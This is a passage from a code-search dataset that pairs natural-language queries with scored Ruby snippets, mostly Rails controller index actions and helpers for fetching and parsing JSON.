"text": "def show\n @offers = Offer.paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "e1b48465e850b9b4c63da54e284fd0e3",
"score": "0.5955107",
"text": "def index\n\t\tseller_list = Seller.all\n\t\tif name = params[:name]\n\t\t\tseller_list = seller_list.where(name: name)\n\t\tend\n\n\t\trender locals: {\n\t\t\tsellers: seller_list\n\t\t}\n\tend",
"title": ""
},
{
"docid": "c9d5ae9033f3259c65a73976eec1981c",
"score": "0.5945955",
"text": "def index\n @sproviders = Sprovider.all\n end",
"title": ""
},
{
"docid": "9255dd8b81ba1b6f3309e2b7a08ef08d",
"score": "0.5942304",
"text": "def index\n @supplier_ingredients = SupplierIngredient.all\n end",
"title": ""
},
{
"docid": "271b6b4c1d24c160ecbdebad99a72d2d",
"score": "0.59419405",
"text": "def index\n @designers = Designer.order(\"#{sort_column} #{sort_direction}\").page(params[:page]).per(10)\n end",
"title": ""
},
{
"docid": "91480ace3cbabc7eaf26c8db8973ecd6",
"score": "0.5940938",
"text": "def index\n @providers = Provider.actives.paginate page: params[:page], per_page: 8\n end",
"title": ""
},
{
"docid": "24895476075a38827752750da93e5d60",
"score": "0.5940359",
"text": "def index\n @aux = 'notnil'\n if admin_signed_in? \n if params[:codigo].nil? || params[:codigo].empty?\n @catalogs_suppliers = Catalogs::Supplier.all.paginate(page: params[:page], per_page: 15)\n else\n #@catalogs_suppliers.where(business_name: params[:codido])\n\t @catalogs_suppliers = Catalogs::Supplier.search_b(['business_name','contact','phone','email'],params[:codigo]).paginate(page: params[:page],per_page: 10)\n end\n else\n\t redirect_to new_admin_session_path\n end\n end",
"title": ""
},
{
"docid": "fefc8451ea30b674ce3eee055395fada",
"score": "0.5934436",
"text": "def supplier_collection\n return unless try_spree_current_user\n\n if try_spree_current_user.supplier?\n @collection = @collection.joins(:suppliers).where('spree_suppliers.id = ?', try_spree_current_user.supplier_id)\n end\n end",
"title": ""
},
{
"docid": "6caa18a952b435def7f4ed16d20aae07",
"score": "0.5924063",
"text": "def index\n @provide_users = ProvideUser.page\n end",
"title": ""
},
{
"docid": "fc5c98ea9eb5f1b7d3213473dcfd217f",
"score": "0.59074414",
"text": "def index\n @supply2s = Supply2.all\n end",
"title": ""
},
{
"docid": "03ca3060fdf8502a5f44202d79fdb5d2",
"score": "0.59038943",
"text": "def index\n\n @user = User.find(session[:user_id]).id\n\n\n if params[:search]\n @suppliers = Supplier.search(params[:search]).order(\"created_at DESC\")\n elsif params[:from_r]\n redirect_to Supplier.find(params[:from_r])\n else\n @suppliers = Supplier.all.order('name ASC')\n end\n end",
"title": ""
},
{
"docid": "85587dae519fc59b3a2076374335414e",
"score": "0.5902857",
"text": "def index\n @freelances = Freelance.paginate(page: params[:page], per_page:10)\n end",
"title": ""
},
{
"docid": "639082204b94c66234299d95d2161c07",
"score": "0.5902186",
"text": "def index\n suppliers = Supplier.where(group_id: @group.id)\n\n render json: SuppliersSerializer.new(suppliers)\n end",
"title": ""
},
{
"docid": "21f152eeb81ef285d8dd4971750e6dc6",
"score": "0.5892056",
"text": "def index\n\t\t@chefs = Chef.paginate(page: params[:page], per_page: 3)\n\tend",
"title": ""
},
{
"docid": "2969aed9b6cf3c3e13b4322da242bb46",
"score": "0.58886695",
"text": "def index\n @cartridge_supplies = CartridgeSupply.all\n end",
"title": ""
},
{
"docid": "7f0268ccf5bb78d8c084bc7bc2048dfa",
"score": "0.5885844",
"text": "def index\n @supplier_dns = SupplierDn.all\n end",
"title": ""
},
{
"docid": "be8004e68672b6058ecb74e51d5718b1",
"score": "0.58821243",
"text": "def show\n @addresses = @provider.addresses.to_json\n @products = @provider.products.paginate page: params[:page], per_page: 3\n end",
"title": ""
},
{
"docid": "cb5d3300dedaf07568e86c50cf106468",
"score": "0.5875524",
"text": "def supplier_collection\n if try_spree_current_user && !try_spree_current_user.admin? && try_spree_current_user.supplier?\n @collection = @collection.joins(:suppliers).where('spree_suppliers.id = ?', try_spree_current_user.supplier_id)\n end\n end",
"title": ""
},
{
"docid": "cb5d3300dedaf07568e86c50cf106468",
"score": "0.5875524",
"text": "def supplier_collection\n if try_spree_current_user && !try_spree_current_user.admin? && try_spree_current_user.supplier?\n @collection = @collection.joins(:suppliers).where('spree_suppliers.id = ?', try_spree_current_user.supplier_id)\n end\n end",
"title": ""
},
{
"docid": "c02b9d80a3261ba1fc34563e12fcfa64",
"score": "0.58754975",
"text": "def index\n @offers = Offer.paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "b7d270aa4805c03a0efc0cf0a489b05b",
"score": "0.5875069",
"text": "def index\n @producers = Producer.order(:name).page\n end",
"title": ""
},
{
"docid": "8d2189ca6ba8081e2d2030c7a34a12a4",
"score": "0.5873504",
"text": "def show\n @store = Store.find(params[:id])\n @items = available_for_user(@store).page(params[:page]).per(7); \n respond_to do |format|\n format.html \n # format.json { render json: @store }\n end\n \n\n end",
"title": ""
},
{
"docid": "2b6ebf4a8dfb2d2ccdbe89b7419a7325",
"score": "0.5863619",
"text": "def index\n @chefs = Chef.paginate(page: params[:page], per_page:3)\n end",
"title": ""
},
{
"docid": "69a22d1da26d51285ba3ca9e766b9fc1",
"score": "0.58513004",
"text": "def index\n @counselors = Counselor.joins(:user).order('last_name').paginate(:page => params[:page], :per_page => 15)\n @page_title = \"Counselors\"\n @page_subtitle = \"\"\n end",
"title": ""
},
{
"docid": "02e901a3f24e862e56c3950b91013b95",
"score": "0.5851034",
"text": "def index\n @producers = Producer.by_name.page(params[:page])\n end",
"title": ""
},
{
"docid": "9967262485ac93bde251f1da919bcd58",
"score": "0.5850515",
"text": "def index\n @products = Product.order(:name).paginate(page: params[:page], per_page: 5)\n end",
"title": ""
}
] |
23f30ebd6c5342c76697c8cc7bf86256
|
Method to get a Json Object. param1: String Path of Json. Return: json object
|
[
{
"docid": "290488d4a55d472c71fdf490660d2a13",
"score": "0.63599217",
"text": "def openJsonFile(filepath)\n $file = File.open filepath\n $jsonObjectMain = JSON.load $file\n return $jsonObjectMain\nend",
"title": ""
}
] |
[
{
"docid": "4e590d4cb0d7401654927f09b85e6053",
"score": "0.75529236",
"text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n\n result\nend",
"title": ""
},
{
"docid": "76b4f2fb0824ed2a2f2dd20cbb75d7f4",
"score": "0.7032506",
"text": "def json_get(path, params={})\n json_request(:get, path, params)\n end",
"title": ""
},
{
"docid": "9d75f6ae3e2e24c042f7a7f6fe4dd170",
"score": "0.6863382",
"text": "def get_json(path)\n url = [base_url, path].join\n resp = HTTParty.get(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"title": ""
},
{
"docid": "2c0b46574abfee6b859c95720c58e538",
"score": "0.6705544",
"text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "b93d12a6010d559e814ced8d1f87c06a",
"score": "0.6633455",
"text": "def json(*args)\n begin\n get_json(*args)\n rescue\n nil\n end\n end",
"title": ""
},
{
"docid": "b1df4ae3dc40bfd9b8516f816498c634",
"score": "0.66119224",
"text": "def get_json(*args)\n result = get(*args)\n ::JSON.parse(result.body)\n end",
"title": ""
},
{
"docid": "c9f1a7881cd0392ba7b00ea607e6a06b",
"score": "0.6582509",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "c9f1a7881cd0392ba7b00ea607e6a06b",
"score": "0.6582509",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "f1c8dad88312c5302515d47868276d41",
"score": "0.65102094",
"text": "def extract_datas_from_json(path)\n file = File.read(path)\n data_details = JSON.parse(file)\n return data_details\nend",
"title": ""
},
{
"docid": "a2fa564d8e917a978063ffb253e8b2e7",
"score": "0.6495991",
"text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"title": ""
},
{
"docid": "13a6ed44440cf241070eaaf6222288e2",
"score": "0.64928114",
"text": "def get_and_give_me_a_json(additional_path, params = nil)\n if self.service_base_path != nil\n if params == nil\n params = Hash.new\n end\n \n additional = \"\"\n if additional_path != nil\n additional = \"/#{additional_path}\"\n end\n \n params[:api_key] = self.access_token\n json = self.http_client.get_content \"#{self.base_url}#{self.service_base_path}#{additional}.json\", params\n trata_erro(json)\n end\n end",
"title": ""
},
{
"docid": "d58ad236f3f4b1187bbd3655281fa631",
"score": "0.6426321",
"text": "def getJson(url)\r\n request_uri = url\r\n request_query = ''\r\n url = \"#{request_uri}#{request_query}\"\r\n result = getJsonFromUrl(url)\r\n return result\r\nend",
"title": ""
},
{
"docid": "bfd06f700f5f43a1b1ab0160d2920d02",
"score": "0.641052",
"text": "def json_plain(path, params = {}, env = {}, &block)\n params = {:api_key => '5c87948ac1979401'}.merge params\n meth = params.delete(:method) || :get\n \n json = JSON.parse(send(meth, path + '.json', params, env).body)\n \n if block_given?\n yield json\n else\n json\n end\n end",
"title": ""
},
{
"docid": "d8e94fc2e3f0777bc493a1905a828dfa",
"score": "0.6409503",
"text": "def json_get(*args)\n default_options = {format: :json}\n options = args.extract_options!\n get args[0], default_options.deep_merge(options)\nend",
"title": ""
},
{
"docid": "497acfc4932d654dd2dba3ad7fc94afe",
"score": "0.6383267",
"text": "def json_request(verb, path, body = {}, headers = {})\n headers['Content-Type'] = 'application/json'\n result = @http.send_request(verb, path, body, headers)\n result = Oj.safe_load(result) if result.is_a? String\n result\n end",
"title": ""
},
{
"docid": "c55b738c332caaeb62d290a2cbf3a048",
"score": "0.6348726",
"text": "def read_json(path)\n return JSON.parse(File.read(path).rstrip)\nend",
"title": ""
},
{
"docid": "c55b738c332caaeb62d290a2cbf3a048",
"score": "0.6348726",
"text": "def read_json(path)\n return JSON.parse(File.read(path).rstrip)\nend",
"title": ""
},
{
"docid": "cd3be3f85bdac0716d493464e5cdcfe0",
"score": "0.62904346",
"text": "def getActualJsonObject()\n return $jsonObjectMain\nend",
"title": ""
},
{
"docid": "274706b77c80ba33a960d27cdee590f1",
"score": "0.62647814",
"text": "def get_json( url )\n JSON.parse( get_url( url ){ |f| f.read } )\nend",
"title": ""
},
{
"docid": "a4022b8d8aef19dff3b1e54d08e1d9f0",
"score": "0.6208067",
"text": "def get_json(url)\n JSON.parse(get(url, :json, :json))\n end",
"title": ""
},
{
"docid": "957e0615b167a56dea5ccb225c815cb5",
"score": "0.6197304",
"text": "def get_json(url, args = {})\n response = adapter.get(url, args) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.headers['Accept'] = 'application/json'\n end\n body = response.body\n JSON.parse(body)\n end",
"title": ""
},
{
"docid": "d0d0afaf0ecb58a6c33fa2192215a1ac",
"score": "0.61826855",
"text": "def get_json(url, options = {})\n\t\t\tresponse = get_file(url, options)\n\t\t\traw_json = response.scan(/\\w+\\((.+)\\);\\z/)[0][0]\n\t\t\treturn JSON.parse(raw_json)\n\t\tend",
"title": ""
},
{
"docid": "0a4533e8a1c8fa452d30907b07f9dbd5",
"score": "0.61223143",
"text": "def json_get(url)\n get url, :parse=>true\n end",
"title": ""
},
{
"docid": "ef18a51682124b0c94e6e5f202bc1834",
"score": "0.60790443",
"text": "def get(path, params = {})\n path = File.join(@prefix, path)\n JSON.parse @conn.get(path, params).body\n end",
"title": ""
},
{
"docid": "fd15a5ba2a32d4e0fa6b4371311a7a13",
"score": "0.60560733",
"text": "def read_jason(file_path)\r\n json_file = File.read(file_path)\r\n data_hash = JSON.parse(json_file)\r\n return data_hash\r\nend",
"title": ""
},
{
"docid": "1e3e59edf9b76c883596d795330e088d",
"score": "0.6023091",
"text": "def parseJsonString(jsonString) \n $jsonObjectMain = JSON.parse(jsonString);\n return $jsonObjectMain;\nend",
"title": ""
},
{
"docid": "fddd30eba0f95320cc0044c01239cd38",
"score": "0.602275",
"text": "def read_json_file(path)\n JSON.parse(File.open(path){ |f| f.read })\nend",
"title": ""
},
{
"docid": "a63974b22f867273ed33949d16d0bf21",
"score": "0.598238",
"text": "def json_to_object(json)\n JSON(json)\nend",
"title": ""
},
{
"docid": "bb599cb9f1192610503bd5cd70669666",
"score": "0.5974888",
"text": "def get_json(path)\n throw \"Can't use a locked vault\" if @locked == true\n throw 'bad token value' if @authorized == false\n uri = URI(@url + path)\n req = Net::HTTP::Get.new(uri)\n req['X-Vault-Token'] = @token\n begin\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n data = nil\n if res.code.to_i < 300\n payload = JSON.parse(res.body)\n data = payload['data']\n end\n rescue => _\n return nil, 502\n end\n return data, res.code.to_i\n end",
"title": ""
},
{
"docid": "bc0fe3248c081ac6f326e7b8c6ab9d14",
"score": "0.5942395",
"text": "def get_json(url, expand_path: true, &block)\n url = tenancy_url(url) if expand_path\n url = \"#{url}.json\" unless url.end_with?('.json')\n call(url, auth: false, expand_path: false, &block)\n end",
"title": ""
},
{
"docid": "b5f5d6eea18089ab4ffe546410009f0a",
"score": "0.593305",
"text": "def json_at(url)\n JSON.parse(open(url).read, symbolize_names: true)[:objects]\nend",
"title": ""
},
{
"docid": "ba34ee9461d1600e723f441525ee773e",
"score": "0.59279215",
"text": "def get_json(url)\n r = RestClient.get url, request_options\n JSON.parse(r)\n end",
"title": ""
},
{
"docid": "823713619f5d165c6019be1919c86f9c",
"score": "0.58939046",
"text": "def read_json(path)\n text = read_text(path)\n return nil if text.nil?\n ActiveSupport::JSON.decode(text)\n rescue JSON::ParserError\n nil\n end",
"title": ""
},
{
"docid": "2ac7206060e4376e6ecc8916d6c81c68",
"score": "0.5832258",
"text": "def get_data(path)\n begin\n res = RestClient.get(path, headers=@header)\n rescue RestClient::BadRequest\n return {\"error\" => \"Unknown user\"}\n end\n\n return {\"error\" => \"Unknown error\"} if !res or res.code != 200\n\n JSON.load res.body\n end",
"title": ""
},
{
"docid": "fa12b67c5ad1a5862c17151ed94bdf62",
"score": "0.5816629",
"text": "def readJsonIntoString(hashed_data2, path, dataFolder)\r\n user2 = File.read(path+\"\\\\#{dataFolder}\\\\users.json\")\r\n hashed_data2 = JSON.parse(user2)\r\n return hashed_data2\r\n end",
"title": ""
},
{
"docid": "62b8902ce9b2a70cac51d643c24dc3a5",
"score": "0.5806196",
"text": "def json_obj(method,params={})\n obj =\n {\n 'jsonrpc'=>'2.0',\n 'method'=>method,\n 'params'=>params,\n 'auth'=>@auth,\n 'id'=>@id\n }\n debug(10, :msg=>\"json_obj: #{obj}\")\n return obj.to_json\n end",
"title": ""
},
{
"docid": "8f6945fcb933fb88fa550fe9d6794d85",
"score": "0.58005196",
"text": "def get_json\n return to_json()\nend",
"title": ""
},
{
"docid": "bf1c988d3217c47aca7ae1a280dba776",
"score": "0.57994807",
"text": "def parse json; return JSON.parse File.read json end",
"title": ""
},
{
"docid": "bf1c988d3217c47aca7ae1a280dba776",
"score": "0.57994807",
"text": "def parse json; return JSON.parse File.read json end",
"title": ""
},
{
"docid": "b69482d63a4ff6b6e531bc86826d1f57",
"score": "0.5788759",
"text": "def json(file_path)\n raise(format(ERROR_EXT_NOT_JSON, file_path)) unless json?(file_path)\n\n content = read_file(file_path)\n JSON.parse(content)\n end",
"title": ""
},
{
"docid": "09d7a05c3111fc38fc07e944bd1b49ef",
"score": "0.5783147",
"text": "def json\n raise StandardError, 'No JSON library initialized' unless URL.json_handler\n @json ||= URL.json_handler.new(self).parse\n end",
"title": ""
},
{
"docid": "781ae1ca944814e84d2f32623173da49",
"score": "0.57765883",
"text": "def get_json(serverID,default_language=\"en\")\n data = JSON.load(get_file(default_language))\n file = get(serverID)\n data.deep_merge!(JSON.load(file)) if file\n return data\n end",
"title": ""
},
{
"docid": "aff54dd18cff0077df3ac233e593d504",
"score": "0.57624495",
"text": "def json(*files, **options, &block) = read(*files, parse: :json, ext: '.json', **options, &block)",
"title": ""
},
{
"docid": "dbb7d1a807129b273a92bdcc2ead81d5",
"score": "0.5757683",
"text": "def json_cmd_one(cmd, key, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key]\n else\n [\"JSON.#{cmd.upcase}\", key, path]\n end\n end",
"title": ""
},
{
"docid": "d59b48ffb6ec58f12adc1de379150ff5",
"score": "0.5733202",
"text": "def json(body)\n JSON.parse(body, symbolize_name: true)\n end",
"title": ""
},
{
"docid": "324c36a8fa56196b9bfc8b318526c361",
"score": "0.5724458",
"text": "def get_json(name)\n r = {}\n open_file(name) do |f|\n r = JSON.parse(f.read)\n yield r if block_given?\n end\n r\n end",
"title": ""
},
{
"docid": "96e930445c64fe28f5818c4d3ff4f1a9",
"score": "0.5718888",
"text": "def get(path, params = {})\n params[:fields] = build_fields_param(params[:fields]) if params[:fields]\n url = build_url(path, params)\n response = Net::HTTP.get_response(url)\n JSON.parse(response.body).deep_symbolize_keys\n end",
"title": ""
},
{
"docid": "bb5af471267e7be69885a9f5e31f1379",
"score": "0.5712462",
"text": "def json_from_text(name)\n JSON.parse(read_text(name))\nend",
"title": ""
},
{
"docid": "4add17506db28f8dae8755cd1d92a997",
"score": "0.5700114",
"text": "def json(url)\n Rails.logger.info \"Retrieving json for url: #{url}\"\n r = response(url).body\n JSON.parse(r)\n end",
"title": ""
},
{
"docid": "5a4142b2c1ece5a3b3ecdd06bc97c50f",
"score": "0.569697",
"text": "def readJSONFromUrl(url)\n # use GET request to retrieve the json\n uri = URI(url)\n response = Net::HTTP.get(uri)\n json = JSON.parse(response)\n return json\nend",
"title": ""
},
{
"docid": "73faa092f4a5996ef9774de0733289b1",
"score": "0.568016",
"text": "def read_json j_file\n data = nil\n open(j_file) do |f|\n data = f.read\n end\n j = JSON.parse(data)\n\n return j\nend",
"title": ""
},
{
"docid": "2989168f38e1c027de6e365b07d92c24",
"score": "0.5679642",
"text": "def request_json(method, path, params)\n response = request(method, path, params)\n\n if response.kind_of? Net::HTTPSuccess\n parse_response_json(response)\n else\n raise_exception(response)\n end\n end",
"title": ""
},
{
"docid": "db95fc5c5633b8c9b6ceea229253b539",
"score": "0.5672375",
"text": "def json\n @obj.get_json_regex\n end",
"title": ""
},
{
"docid": "ca0258b5d6dc344663835ad922d4a428",
"score": "0.5668944",
"text": "def read_from_json\n JSON.parse File.new(@filepath).read\n end",
"title": ""
},
{
"docid": "30514278c165ffd3a69e5e32ead0e021",
"score": "0.5660297",
"text": "def read_json_file(filepath)\n file = File.open(filepath)\n file_data = file.read\n return JSON.parse(file_data)\nend",
"title": ""
},
{
"docid": "890baabd9c73006a0db788f68f74d523",
"score": "0.56597996",
"text": "def get_json(url)\n @response = RestClient.get url\n while @response.nil? do\n if @response.code == 200\n @response = RestClient.get url\n end\n end\n @json_file = JSON.parse(@response)\n end",
"title": ""
},
{
"docid": "855f3715c69f7dc1f0d577e99a66b109",
"score": "0.5649794",
"text": "def get_json_search_object(json_data, file_name)\n values_string = VALUES_SEPARATOR\n\n parse_nested_values(json_data.values).uniq.each do |value|\n next if !value || value.empty?\n\n values_string += \"#{value}#{VALUES_SEPARATOR}\"\n end\n\n JsonSearch.new(search_values: values_string, json_data: json_data, json_data_type: file_name)\n end",
"title": ""
},
{
"docid": "ba5a2dd90c908785d2b309b884a99ee5",
"score": "0.5645996",
"text": "def readJson(dataFilePath)\n dataFile = File.new(dataFilePath, \"r\");\n data = JSON.load(dataFile);\n dataFile.close();\n data;\nend",
"title": ""
},
{
"docid": "10765968b17378c3c69dfdbce2ba92b5",
"score": "0.56359524",
"text": "def get_json\n response = conn.get(@current_location)\n parsed = JSON.parse(response.body, symbolize_names: true)\n\n end",
"title": ""
},
{
"docid": "7d15b3d3d391b59f92b82d2e1746cecd",
"score": "0.5631226",
"text": "def json_cmd_two(cmd, key, value, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key, \".\", value]\n else\n [\"JSON.#{cmd.upcase}\", key, path, value]\n end\n end",
"title": ""
},
{
"docid": "293a13e60f06b441c557fc0f7d1d8fe9",
"score": "0.56261647",
"text": "def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end",
"title": ""
},
{
"docid": "3858246c707e9afb0cda83274c3fd992",
"score": "0.56238896",
"text": "def pjson(str)\n Oj.load(str)\nend",
"title": ""
},
{
"docid": "c1de4cdeca56ea5e06d2dc6e8cb6ae3f",
"score": "0.5623803",
"text": "def getJsonValue(key)\n return $jsonObjectMain[key]\nend",
"title": ""
},
{
"docid": "19602d27a96d4df369e59f698e1b8111",
"score": "0.56062645",
"text": "def open_as_json(json_url)\n uri = URI.parse(json_url)\n response = Net::HTTP.get_response(uri)\n return {} unless response.code == \"200\"\n JSON.parse(response.body)\n end",
"title": ""
},
{
"docid": "c7b89f6c5d423db29cbaaa9ec014c2b5",
"score": "0.560174",
"text": "def getFileContent(file_path)\n file = File.read(file_path)\n data_hash = JSON.parse(file)\n return data_hash\nend",
"title": ""
},
{
"docid": "1b0a6c8745c8000f96ed9e0545e23c59",
"score": "0.559666",
"text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end",
"title": ""
},
{
"docid": "1b0a6c8745c8000f96ed9e0545e23c59",
"score": "0.559666",
"text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end",
"title": ""
},
{
"docid": "050581c35f8d24d7d0e8206c11ec6b0f",
"score": "0.55875",
"text": "def get(path, params={})\n params = merge_set_up_params(params)\n @token = \"b3688c52-9235-45ca-b01f-c5b2b83a4f4f\"\n @result = Typhoeus::Request.get(API_URL + path, :params => params,\n :headers => {\"Authorization\" => \"Basic#{@token}\"})\n puts @result.body\n # check if the url looks correct in the log\n puts @result.effective_url\n # parse the result to json\n return JSON.parse(@result.body)\n end",
"title": ""
},
{
"docid": "58e692e1a45763f2bea9577192e1b727",
"score": "0.55870205",
"text": "def parsed_json_fixture(path)\n JSON.parse json_fixture(path)\nend",
"title": ""
},
{
"docid": "ad307038647210566e30b5636352a166",
"score": "0.55858934",
"text": "def set_json\n @json = Json.find(params[:id])\n end",
"title": ""
},
{
"docid": "ad307038647210566e30b5636352a166",
"score": "0.55858934",
"text": "def set_json\n @json = Json.find(params[:id])\n end",
"title": ""
},
{
"docid": "50775674c8bedb57a62878d7685b5895",
"score": "0.55854714",
"text": "def get(path, params = {})\n connection.get(\"#{path}/json\", params)\n rescue Faraday::ParsingError\n nil\n end",
"title": ""
},
{
"docid": "cdb44b5054be0e83343df4976961d544",
"score": "0.55776054",
"text": "def json(url)\n r = response(url).body\n JSON.parse(r)\n end",
"title": ""
},
{
"docid": "23098c0bd16a739806bbaa7199047615",
"score": "0.55535024",
"text": "def get_json(url)\n r = Mei::WebServiceBase.fetch(url)\n JSON.parse(r.body)\n end",
"title": ""
},
{
"docid": "23a05ddff1b0d1d982c077bc257f84b2",
"score": "0.5536753",
"text": "def parse_json_file(json_file)\n json = File.read(json_file)\n obj = JSON.parse(json)\n return obj\n end",
"title": ""
},
{
"docid": "5f80cde2057e44c3f73794ece8c2d88f",
"score": "0.5536466",
"text": "def matching_json_path(json_path)\n @type = :matchesJsonPath\n @value = json_path\n @request_builder\n end",
"title": ""
},
{
"docid": "273bed19acb6107ce69fe9e8c5d525b3",
"score": "0.55334395",
"text": "def _convertJSON() \n js=\"\"\n \tbegin\n gem \"json\"\n\t\t js = JSON.parse(self.response)\n rescue\n puts \"Error during JSON. #{$!}\"\n end\n\n return js\n\tend",
"title": ""
},
{
"docid": "8cb7eec81b8e7d9b3a58e47f3b1abb6f",
"score": "0.55280566",
"text": "def get(path, query={})\n request_json :get, path, query\n end",
"title": ""
},
{
"docid": "5dd60204f61153b07f537ad39b8883d4",
"score": "0.5524764",
"text": "def get_json(url)\n\turi = URI(url)\n\tresponse = Net::HTTP.get(uri)\n\tdata_hash = JSON.parse(response)\n\t#puts data_hash\n\treturn data_hash\nend",
"title": ""
},
{
"docid": "60956ae347ca1931a4cc95e3efeac71e",
"score": "0.55173045",
"text": "def json\n @json ||= JSON.parse(response.body, symbolize_names: true)\n end",
"title": ""
},
{
"docid": "c03ea5e240364ed1fa6003f315f4a372",
"score": "0.54954207",
"text": "def json(body)\n content_type \"application/json\"\n body.to_json\n end",
"title": ""
},
{
"docid": "985a0f91f7081d72e5d8f1918e852e9e",
"score": "0.5484198",
"text": "def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username1,\n :password => $password1,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"title": ""
},
{
"docid": "0e9110aa70fcb0f2a84c22db8bad34ee",
"score": "0.5480497",
"text": "def get_json(address)\n data = download_json(address)\n return nil if data.nil?\n return parse_json(data)\nend",
"title": ""
},
{
"docid": "ed4e80851c6b0e0638de61fd79717635",
"score": "0.5475771",
"text": "def load_json(filename); end",
"title": ""
},
{
"docid": "dd0644d257adc8f6963843e9e5aaeea0",
"score": "0.5475041",
"text": "def convert_json(json)\n\n return JSON.parse(json)\n\nend",
"title": ""
},
{
"docid": "fdc1c7a51c80cfdcf771b8a5f0498510",
"score": "0.5466621",
"text": "def fetch_json(query)\n # query the JSON API using the queries provided below\n # uncomment next line to see the queries being sent to the api in the console. useful for debugging.\n # puts(ENDPOINT + query)\n JSON.load(open(ENDPOINT + query))\n end",
"title": ""
},
{
"docid": "0fcbdba8cff9da89f57adcb1e4e8ed19",
"score": "0.54651093",
"text": "def fjson(str)\n pjson(File.open(str))\nend",
"title": ""
},
{
"docid": "8d3515d9e70ef2601ee115b866b66ffe",
"score": "0.54592276",
"text": "def get_photos(arg)\n response_str = RestClient.get(\"#{arg}.json\")\n response_hash = JSON.parse(response_str)\n return response_hash\nend",
"title": ""
},
{
"docid": "427fa632046dffc3814d036cd8d2e6c7",
"score": "0.5457419",
"text": "def get(path, params={})\n params = merge_set_up_params(params)\n JSON.parse(Typhoeus::Request.get(API_URL + path, :params => params).body)[\"response\"]\n end",
"title": ""
},
{
"docid": "ff82e444d894ea1a585e89d5777c8183",
"score": "0.5456906",
"text": "def get(connection, path, args = {})\n host, port = connection_host_and_port(connection)\n\n res = open(\n \"http://#{host}:#{port}#{path}#{to_get_params(args)}\"\n ).read\n puts res if @debug\n\n begin\n res = JSON.parse(res)\n raise res['error'] if res.is_a?(Hash) and res['error']\n return res\n rescue JSON::ParserError => e\n end\n\n res\n end",
"title": ""
},
{
"docid": "554430c609fdb1ff04d6dddd996b3612",
"score": "0.544017",
"text": "def parse_json(json_file)\r\n\t\t\tjfile = File.read(json_file)\r\n\t\t\treturn JSON.parse(jfile)\r\n\t\tend",
"title": ""
},
{
"docid": "aea8e5e8c1673b78dbcffe101cc781d1",
"score": "0.54301125",
"text": "def get_json(a)\n x = {}\n x.store(a,@a[a])\n JSON.generate(x)\n end",
"title": ""
},
{
"docid": "26e865de1a361224e72a4deb7a75abc2",
"score": "0.5429729",
"text": "def json(response_body)\n JSON.parse(response_body)\n end",
"title": ""
},
{
"docid": "b7b2fbba7705bb45e05618b5becb4f1c",
"score": "0.5428996",
"text": "def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username2,\n :password => $password2,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"title": ""
},
{
"docid": "057b113f2c0047b688938cad512b2576",
"score": "0.54286903",
"text": "def get(path) # code generated from moviedb website\n url = URI(\"#{HOST_URL}#{path}#{ENV['API_KEY']}\")\n response = Net::HTTP.get_response(url)\n begin\n response_hash = JSON.parse(response.read_body)\n return response_hash\n rescue\n {}\n end\n end",
"title": ""
},
{
"docid": "4a90a6ca03d50f77a62e8da0152368b9",
"score": "0.5421313",
"text": "def json_req(uri)\n begin\n resp = RestClient.get(uri, accept: :json)\n rescue RestClient::ExceptionWithResponse => e\n code = e.response.code\n raise RequestError.new(\"failed to retrieve JWK, status #{code}\", code)\n end\n\n JSON.parse resp.body\n end",
"title": ""
},
{
"docid": "965b38738c6b2f9ee6ce819ad75d0073",
"score": "0.5416451",
"text": "def method_missing(sym, *args)\n begin\n json = JSON.parse(@body || '{}')\n rescue JSON::ParserError => e\n return nil\n end\n\n # their 'v4/*' JSON convention is snake_case\n sym = Utility::decamelize(sym.to_s)\n\t\t\treturn json[sym]\n\t\tend",
"title": ""
},
{
"docid": "f03ced2bada7adcb9e56029508754c1b",
"score": "0.5412479",
"text": "def request_json(url)\n JSON.parse(@access_token.get(\"#{SITE}#{url}\").body)\n end",
"title": ""
},
{
"docid": "dee4c9aae3c7b2e6ea692759f58a2586",
"score": "0.54101366",
"text": "def read_json\n file = File.read('townhall.json')\n jason = JSON.parse(file)\n return jason\nend",
"title": ""
},
{
"docid": "c5e730f6761a54ca3f653da514410ece",
"score": "0.54101354",
"text": "def json_to_obj json_str\n hash_to_obj(parse_json(json_str))\n end",
"title": ""
}
] |
4d36e2d17be4e7b1a14059a97f960ea6
|
For some reason this doesn't work, so a workaround is used load_and_authorize_resource :event, through: :program
|
[
{
"docid": "3dc4fd0a0c997864df6f9e67fb52e467",
"score": "0.0",
